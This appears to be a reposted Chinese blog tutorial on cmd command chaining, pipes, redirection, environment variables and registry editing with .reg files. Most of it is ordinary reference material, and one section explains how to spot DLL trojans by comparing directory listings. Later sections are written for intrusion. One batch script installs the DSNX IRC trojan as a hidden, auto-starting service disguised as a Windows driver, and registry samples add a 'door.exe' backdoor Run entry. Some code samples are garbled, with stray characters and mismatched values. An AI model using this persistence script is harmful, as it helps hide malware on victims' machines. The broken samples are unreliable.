`
lltobe
  • 浏览: 10169 次
社区版块
存档分类
最新评论

【转】cmd 组合命令和管道命令的使用

    博客分类:
  • cmd
cmd 
阅读更多

1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功

2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则
一直执行完所有命令;
 
3.||
Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的
命令则一直执行完所有命令;
 
1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
 
2.>,>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内
容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
 
3.< , >& , <&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
 
使用命令重定向操作符可以使用重定向操作符将命令输入和输出数据流从默认位置重定向到其他位置。输入或输出数据流的位置称为句柄。
 
下表将列出可用的句柄。
句柄 句柄的数字代号描述
STDIN 0 键盘输入
STDOUT 1 输出到命令提示符窗口
STDERR 2 错误输出到命令提示符窗口
UNDEFINED 3-9 句柄由应用程序单独定义,它们是各个工具特有的
 
 
变量 类型 描述

%ALLUSERSPROFILE%

局部

返回“所有用户配置文件”的位置。

%APPDATA%

局部

返回默认情况下应用程序存储数据的位置。

%CD%

局部

返回当前目录字符串。

%CMDCMDLINE%

局部

返回用来启动当前的 Cmd.exe 的准确命令行。

%CMDEXTVERSION%

系统

返回当前的“命令处理程序扩展”的版本号。

%COMPUTERNAME%

系统

返回计算机的名称。

%COMSPEC%

系统

返回命令行解释器可执行程序的准确路径。

%DATE%

系统

返回当前日期。使用与date /t命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date

%ERRORLEVEL%

系统

返回上一条命令的错误代码。通常用非零值表示错误。

%HOMEDRIVE%

系统

返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%HOMEPATH%

系统

返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%HOMESHARE%

系统

返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%LOGONSERVER%

局部

返回验证当前登录会话的域控制器的名称。

%NUMBER_OF_PROCESSORS%

系统

指定安装在计算机上的处理器的数目。

%OS%

系统

返回操作系统名称。Windows 2000 会将该操作系统显示为 Windows NT。

%PATH%

系统

指定可执行文件的搜索路径。

%PATHEXT%

系统

返回操作系统认为可执行的文件扩展名的列表。

%PROCESSOR_ARCHITECTURE%

系统

返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。

%PROCESSOR_IDENTFIER%

系统

返回处理器说明。

%PROCESSOR_LEVEL%

系统

返回计算机上安装的处理器的型号。

%PROCESSOR_REVISION%

系统

返回处理器的版本号。

%PROMPT%

局部

返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。

%RANDOM%

系统

返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。

%SYSTEMDRIVE%

系统

返回包含 Windows 服务器操作系统根目录(即系统根目录)的驱动器。

%SYSTEMROOT%

系统

返回 Windows 服务器操作系统目录的位置。

%TEMP% 和 %TMP%

系统和用户

返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。

%TIME%

系统

返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time

%USERDOMAIN%

局部

返回包含用户帐户的域的名称。

%USERNAME%

局部

返回当前登录的用户的名称。

%USERPROFILE%

局部

返回当前用户的配置文件的位置。

%WINDIR%

系统

返回操作系统目录的位置。



  1. | 命令
  Usage:第一条命令 | 第二条命令 [| 第三条命令...]
  将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
  sample:
time /t>>D://IP.log
netstat -n -p tcp|find ":3389">>D://IP.log
start Explorer

  看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

  2. >、>>输出重定向命令
  将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
  sample1

echo hello world>c://hello.txt (stupid example?)
  sample2:
  时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

 

  3. < 、>& 、<&
  < 从文件中而不是从键盘中读入命令输入。
  >& 将一个句柄的输出写入到另一个句柄的输入中。
  <& 从一个句柄读取输入并将其写入到另一个句柄输出中。
  这些并不常用,也就不多做介绍。

  五.如何用批处理文件来操作注册表

  在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)关于注册表的操作,常见的是创建、修改、删除。

  1.创建
  一种是创建子项(Subkey)。我们创建一个文件,内容如下:

 

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]

  然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创建了一个名字为“hacker”的子项。

 

  另一种是创建一个项目名称。那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
3q6] G t k,Q0"Invader"="Ex4rch"
"Door"=C:////WINNT////system32////door.exe
"Autodos"=dword:02

 

  这样就在[HKEY_LOCAL_MACHINE/ SOFTWARE/ Microsoft/ Windows/ CurrentVersion/ Run]下新建了:Invader、door、about这三个项目
  Invader的类型是“String value”,door的类型是“REG SZ value”,Autodos的类型是“DWORD value”

  2.修改
  修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

  3.删除
  我们首先来说说删除一个项目名称,我们创建一个如下的文件:

 

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Ex4rch"=-

 

  执行该脚本,[HKEY_LOCAL_MACHINE/ SOFTWARE/ Microsoft/ /Windows/ CurrentVersion/ Run]下的"Ex4rch"就被删除了;

  我们再看看删除一个子项,我们创建一个如下的脚本:

 

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]

  执行该脚本,[HKEY_LOCAL_MACHINE/ SOFTWARE/ Microsoft/ Windows/ CurrentVersion/ Run]就已经被删除了。

 

  相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

  samlpe1:如上面的那个例子,如想生成如下注册表文件

 

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:////WINNT////system32////door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg


  samlpe2:
  我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE/ SOFTWARE/ Microsoft/ Windows/ CurrentVersion/ Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c://winnt//system32//windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.

分享到:
评论

相关推荐

    CMD命令行管道命令使用介绍

    CMD命令行中的管道命令是一种强大的工具,它允许用户将一个命令的输出作为另一个命令的输入,从而实现数据的处理和过滤。管道符“|”在DOS和CMD环境中扮演着关键角色,它使得一系列命令可以串联起来,形成复杂的任务...

    cmd组合和管道命令的使用方法(命令组合)

    在Windows操作系统中,`cmd`命令行环境提供了一系列高级功能,包括命令组合和管道命令,这些功能使得在命令行中进行复杂操作变得更为便捷。本文将详细介绍这两种技术及其使用方法。 1. **命令组合** - `&` 使用:...

    匿名管道重定向cmd

    - **组合命令**:通过管道连接多个命令,形成复杂的任务流程。 例如,你可以运行`dir | find "txt"`,这会列出当前目录下包含"txt"的文件。`dir`命令生成的输出被`find`命令接收,然后筛选出包含特定文本的行。 ...

    cmd命令参数详解.txt

    本文将详细介绍CMD命令及其各种参数的使用方法。 #### 命令概述 CMD支持多种参数配置,这些参数可以控制CMD的行为特性,例如命令解释方式、命令提示符设置等。通过合理的参数组合,用户可以根据实际需求定制个性化...

    cmd管道技术向cmd发送字符

    `cmd`管道技术是提高命令行效率的关键工具,它允许用户灵活地组合命令,处理和分析数据。理解并熟练运用管道,可以让你在日常的系统管理、脚本编写或自动化任务中事半功倍。通过不断实践和探索,你会发现更多使用...

    cmd中的重定向输出,管道

    本文将重点介绍CMD中的重定向输出(`&gt;`、`&gt;&gt;`)以及管道(`|`)功能,并通过具体的示例来阐述这些命令的具体用法及其应用场景。 #### 一、CMD中的重定向输出 **1.1 单向重定向(`&gt;`)** 单向重定向符号(`&gt;`)...

    管道多线程中文CMD

    对于初学者来说,这样的例子有助于理解如何在实际编程中应用管道和多线程,以及如何在CMD环境下编写和使用这样的工具。 在学习这个实例时,你需要关注以下几个关键点: 1. **管道的实现**:了解如何捕获和传递标准...

    cmd命令行.TXT

    cmd命令行 第一章 批处理基础 第一节 常用批处理内部...6、| 命令管道符 7、^ 转义字符 8、& 组合命令 9、&& 组合命令 10、|| 组合命令 11、"" 字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号

    CMD 编程调试命令增强版 JP Software CMDebug 25.00.26 + x64.zip

    通过将 CMDebug 与 TCC-RT 结合使用,可以使用 TCC 命令语言创建(和加密)脚本,然后使用免费的 TCC-RT 运行时将它们分发到无限数量的目标计算机上。 CMD 编程调试命令增强版 JP Software CMDebug 25 中文版CMD ...

    CMD命令行高级教程

    标题《CMD命令行高级教程》和描述《批处理基础,常用特殊符号,FOR命令详解,FOR命令中的变量》表明本文将详细介绍CMD命令行工具中的批处理文件编写技巧,特殊符号的使用方法以及FOR命令的高级应用和其中变量的处理。...

    windows 下 du命令

    在Windows操作系统中,虽然默认没有提供与Linux系统中`du`命令完全相同的工具,但可以通过一些第三方工具或者内置命令的组合来实现类似的功能,用于查看文件夹及其子文件夹的大小。`du`命令在Linux中是用于统计文件...

    批处理之组合命令.pdf

    本文档涵盖了批处理中的组合命令,包括批处理文件中常用的组合操作符及它们的使用方法。 1. &(Compound Command) `&` 是一个批处理命令分隔符,用来顺序执行两个或多个命令。即便第一个命令执行失败,后面的命令...

    批处理 bat cmd 命令大全

    通过组合使用上述命令,可以构建复杂的自动化流程,满足各种定制化需求。 为了更深入学习批处理,你可以参考提供的博客链接或其他在线资源,实践编写和运行自己的批处理脚本。同时,了解一些高级技巧,如变量、管道...

    在python 中实现运行多条shell命令

    通过使用`bash`命令来执行脚本,避免了直接使用`shell=True`所带来的安全问题。 #### 四、总结 本文介绍了在Python中执行多条Shell命令的几种常见方法,包括使用`subprocess`模块、`os`模块以及编写Shell脚本并...

    让cmd拥有Linux的tail功能

    在Windows的CMD中实现Linux的`tail`功能,可以借助`more`命令的组合技巧,也可以使用专门为CMD设计的第三方工具,如提供的`tail.exe`。了解这些工具的工作原理和用途,对于提升系统管理和故障排查能力至关重要。在...

    例程:将CMD的输入输出重定向到自己的进程

    管道能有效地组合多个命令,形成复杂的任务处理流程。 在描述中提到的链接是一个博客文章,作者探讨了如何将CMD的输入输出与自己的进程进行交互。这通常需要编程实现,涉及到进程间通信(IPC)的技术,如管道、套接...

    XueTr_Cmd版

    用户可以通过管道(pipe)和重定向(redirect)来组合命令,实现复杂的流程控制。例如,可以先用一个命令筛选出日志中的错误信息,再通过另一个命令将这些错误信息写入单独的文件中,方便后续分析。 对于系统监控,...

Global site tag (gtag.js) - Google Analytics